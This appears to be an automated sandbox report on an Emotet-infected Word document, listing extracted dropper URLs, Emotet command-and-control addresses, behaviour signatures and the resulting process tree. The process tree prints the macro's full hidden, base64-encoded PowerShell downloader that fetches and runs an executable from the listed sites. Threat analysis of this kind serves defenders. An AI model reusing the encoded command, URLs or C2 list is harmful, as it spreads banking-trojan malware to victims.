Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    108s
  • resource
    win7v191014
  • submitted
    12-12-2019 13:03

Sharing

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General

  • Target

    Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.43.doc

  • Sample

    191212-pvhdl8lgvs

  • SHA256

    5df1f1341851c837a5892bd964c406fe101dd9154c3b5c1df36eb95372c604e0

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://acqua.solarcytec.com/rtsbgs/XiWmtYYur/
exe.dropper

https://blog.learncy.net/wp-admin/user/oxZqQp/
exe.dropper

http://hospitalsanrafael.ainimedina.com/wp-includes/vwf-i8ge-4445917/
exe.dropper

https://sg771.kwikfunnels.com/phpmyadmin_bck/x9tfn-lv1h4-174129596/
exe.dropper

http://www.siyinjichangjia.com/wp-content/WYszsP/

Extracted

Family

emotet

C2

190.146.14.143:443

85.235.219.74:80

78.187.204.70:80

46.105.128.215:8080

69.30.205.162:7080

192.161.190.171:8080

163.172.97.112:8080

86.98.157.3:80

113.52.135.33:7080

175.127.140.68:80

212.129.14.27:8080

200.41.121.69:443

143.95.101.72:8080

190.161.67.63:80

50.116.78.109:8080

37.46.129.215:8080

119.57.36.54:8080

212.112.113.235:80

46.105.131.68:8080

1.32.54.12:8080
rsa_pubkey.plain

Signatures

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Modifies registry class 136 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.43.doc"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:1064
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    PID:1824
    • C:\Users\Admin\177.exe
      "C:\Users\Admin\177.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:2004
      • C:\Users\Admin\177.exe
        --653e7fcf
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        PID:1700
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "322372338-141076211-1503080421-146637913-1448740906-34692126-16420535131527021419"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1888
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1900
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:1852
      • C:\Windows\SysWOW64\tcgprint.exe
        "C:\Windows\SysWOW64\tcgprint.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:108
        • C:\Windows\SysWOW64\tcgprint.exe
          --7c5de0c7
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          • Drops file in System32 directory
          • Suspicious use of SetWindowsHookEx
          PID:1668

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/108-14-0x0000000000320000-0x0000000000337000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1064-4-0x000000000612F000-0x0000000006133000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1064-5-0x000000000612F000-0x0000000006133000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1064-0-0x0000000005F40000-0x0000000005F44000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1064-3-0x0000000008DC0000-0x0000000008DC4000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1064-2-0x000000000612F000-0x0000000006133000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1064-1-0x000000000612F000-0x0000000006133000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1668-16-0x00000000003B0000-0x00000000003C7000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1668-17-0x0000000000400000-0x0000000000495000-memory.dmp

        Filesize

        596KB

        Download

      • memory/1700-11-0x0000000000270000-0x0000000000287000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1700-12-0x0000000000400000-0x0000000000495000-memory.dmp

        Filesize

        596KB

        Download

      • memory/2004-9-0x00000000004A0000-0x00000000004B7000-memory.dmp

        Filesize

        92KB

        Download